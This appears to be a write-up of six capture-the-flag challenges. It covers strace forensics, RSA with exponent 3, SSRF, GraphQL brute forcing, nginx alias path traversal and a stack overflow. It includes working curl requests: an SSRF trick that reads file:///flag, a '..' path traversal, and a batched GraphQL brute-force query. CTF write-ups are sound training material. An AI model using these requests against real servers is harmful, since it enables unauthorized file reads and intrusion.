* Tracer (misc)

We're given a strace log filtered to the =read=, =write= and =execve=
syscalls.  It's huge, after systematically combing through it for way
too long, it appears to be the result of doing a system update,
followed by editing a file with Vim.  Each character typed into Vim is
represented as a =write(0, ..., 1)= syscall.  Extract these calls from
the file, extract every typed character, type them into an empty Vim
session and eventually you'll have typed the following flag:

#+BEGIN_QUOTE
junior-nanoiswayBETTER!
#+END_QUOTE

* small (crypto)

This appears to be a classic RSA mistake, given the low exponent of 3
it's possible that encrypting the message does not wrap around the
modulus, allowing recovering the message by performing an integer cube
root.  There's just one more problem, the message is not encoded the
usual way.  Another team member tried solving it for the case that the
message does wrap around the modulus.  Hours later we discovered the
challenge description has been updated to point out the actual message
representation, it's Base35.  Running the result through an online
decoder gives the following flag:

#+BEGIN_QUOTE
juniorissmallkuchenblech
#+END_QUOTE

* double (web)

SSRF exercise where the code must be fooled into performing a request
that will exfiltrate the flag.  The check looks for the strings "http"
and "kuchenblech" in the URL before performing the request with
=urllib2.urlopen= and returning the bytes read.  I've reproduced it
locally and eventually made it fetch =file:///flag= by appending an
URL-encoded ampersand to the URL, then the expected strings.  This is
a known problem in urllib2/3.  Final request:

#+BEGIN_SRC shell-script
curl 'http://108.61.211.185/isup?name=file:///flag%23httpkuchenblech'
# junior-double_or_noth1ng
#+END_SRC

* querying (web)

The slowest GraphQL server in existence.  After reading the manual a
few times and experimenting on the playground, I eventually figure out
a valid query except it fails with an error due to lacking
configuration on the server side.  This turns out to be unrelated, a
far more interesting "mutation" can be called instead.  The equivalent
request is:

#+BEGIN_SRC shell-script
curl 'http://199.247.4.207:4000/' -H 'content-type: application/json' -H 'admin: 1' --data '{"operationName":null,"variables":{},"query":"mutation {\n  checkFlag(flag: \"j\")\n}\n"}'
# {"data":{"checkFlag":1}}
#+END_SRC

That mutation returns how long the correctly guessed flag prefix is.
Unfortunately it takes up to a minute to return that information.  I
spent almost a day on slowly bruteforcing the flag up to
=junior-Batching_Qu3r1e5_=, then it dawned on me there must be a
different solution and looked up batching queries, finding
https://ednsquare.com/story/improving-performance-with-batching-client-graphql-queries------XxKSNF.

The adjusted query looks as follows in the playground:

#+BEGIN_SRC
mutation {
  a: checkFlag(flag: "junior-Batching_Qu3r1e5_a")
  b: checkFlag(flag: "junior-Batching_Qu3r1e5_b")
  c: checkFlag(flag: "junior-Batching_Qu3r1e5_c")
  d: checkFlag(flag: "junior-Batching_Qu3r1e5_d")
  e: checkFlag(flag: "junior-Batching_Qu3r1e5_e")
  f: checkFlag(flag: "junior-Batching_Qu3r1e5_f")
  g: checkFlag(flag: "junior-Batching_Qu3r1e5_g")
  h: checkFlag(flag: "junior-Batching_Qu3r1e5_h")
  i: checkFlag(flag: "junior-Batching_Qu3r1e5_i")
  j: checkFlag(flag: "junior-Batching_Qu3r1e5_j")
  k: checkFlag(flag: "junior-Batching_Qu3r1e5_k")
  l: checkFlag(flag: "junior-Batching_Qu3r1e5_l")
  m: checkFlag(flag: "junior-Batching_Qu3r1e5_m")
  n: checkFlag(flag: "junior-Batching_Qu3r1e5_n")
  o: checkFlag(flag: "junior-Batching_Qu3r1e5_o")
  p: checkFlag(flag: "junior-Batching_Qu3r1e5_p")
  q: checkFlag(flag: "junior-Batching_Qu3r1e5_q")
  r: checkFlag(flag: "junior-Batching_Qu3r1e5_r")
  s: checkFlag(flag: "junior-Batching_Qu3r1e5_s")
  t: checkFlag(flag: "junior-Batching_Qu3r1e5_t")
  u: checkFlag(flag: "junior-Batching_Qu3r1e5_u")
  v: checkFlag(flag: "junior-Batching_Qu3r1e5_v")
  w: checkFlag(flag: "junior-Batching_Qu3r1e5_w")
  x: checkFlag(flag: "junior-Batching_Qu3r1e5_x")
  y: checkFlag(flag: "junior-Batching_Qu3r1e5_y")
  z: checkFlag(flag: "junior-Batching_Qu3r1e5_z")
  A: checkFlag(flag: "junior-Batching_Qu3r1e5_A")
  B: checkFlag(flag: "junior-Batching_Qu3r1e5_B")
  C: checkFlag(flag: "junior-Batching_Qu3r1e5_C")
  D: checkFlag(flag: "junior-Batching_Qu3r1e5_D")
  E: checkFlag(flag: "junior-Batching_Qu3r1e5_E")
  F: checkFlag(flag: "junior-Batching_Qu3r1e5_F")
  G: checkFlag(flag: "junior-Batching_Qu3r1e5_G")
  H: checkFlag(flag: "junior-Batching_Qu3r1e5_H")
  I: checkFlag(flag: "junior-Batching_Qu3r1e5_I")
  J: checkFlag(flag: "junior-Batching_Qu3r1e5_J")
  K: checkFlag(flag: "junior-Batching_Qu3r1e5_K")
  L: checkFlag(flag: "junior-Batching_Qu3r1e5_L")
  M: checkFlag(flag: "junior-Batching_Qu3r1e5_M")
  N: checkFlag(flag: "junior-Batching_Qu3r1e5_N")
  O: checkFlag(flag: "junior-Batching_Qu3r1e5_O")
  P: checkFlag(flag: "junior-Batching_Qu3r1e5_P")
  Q: checkFlag(flag: "junior-Batching_Qu3r1e5_Q")
  R: checkFlag(flag: "junior-Batching_Qu3r1e5_R")
  S: checkFlag(flag: "junior-Batching_Qu3r1e5_S")
  T: checkFlag(flag: "junior-Batching_Qu3r1e5_T")
  U: checkFlag(flag: "junior-Batching_Qu3r1e5_U")
  V: checkFlag(flag: "junior-Batching_Qu3r1e5_V")
  W: checkFlag(flag: "junior-Batching_Qu3r1e5_W")
  X: checkFlag(flag: "junior-Batching_Qu3r1e5_X")
  Y: checkFlag(flag: "junior-Batching_Qu3r1e5_Y")
  Z: checkFlag(flag: "junior-Batching_Qu3r1e5_Z")
 _0: checkFlag(flag: "junior-Batching_Qu3r1e5_0")
 _1: checkFlag(flag: "junior-Batching_Qu3r1e5_1")
 _2: checkFlag(flag: "junior-Batching_Qu3r1e5_2")
 _3: checkFlag(flag: "junior-Batching_Qu3r1e5_3")
 _4: checkFlag(flag: "junior-Batching_Qu3r1e5_4")
 _5: checkFlag(flag: "junior-Batching_Qu3r1e5_5")
 _6: checkFlag(flag: "junior-Batching_Qu3r1e5_6")
 _7: checkFlag(flag: "junior-Batching_Qu3r1e5_7")
 _8: checkFlag(flag: "junior-Batching_Qu3r1e5_8")
 _9: checkFlag(flag: "junior-Batching_Qu3r1e5_9")
 _u: checkFlag(flag: "junior-Batching_Qu3r1e5__")
 _d: checkFlag(flag: "junior-Batching_Qu3r1e5_-")
}
#+END_SRC

One of them will return a longer result than the rest, this makes
guessing each character far faster.  Flag:

#+BEGIN_QUOTE
junior-Batching_Qu3r1e5_is_FUN1
#+END_QUOTE

* travel (web)

This was a quick and painless one.  The nginx config permits accessing
the flag thanks to this misconfiguration:
https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

#+BEGIN_SRC shell-script
curl 'http://108.61.211.185:8081/flag../flag'
# junior-the_easy_way_up
#+END_SRC

* SBOaaS (pwn)

Another painless one.  Using =cyclic= and =gdb= it's easy to find out
the service accepts 1352 characters before interpreting the rest as a
return address.  The application happens to contain a shell spawning
function at =0x40068b=.  There is one more complication though, an
amd64 executable uses wider addresses than an i386 one, the missing
space is filled up with zeroes which would terminate a =strcpy=
operation.  This does not matter here though, it's sufficient to
provide the non-zero parts in little-endian, then switch to
interactive mode.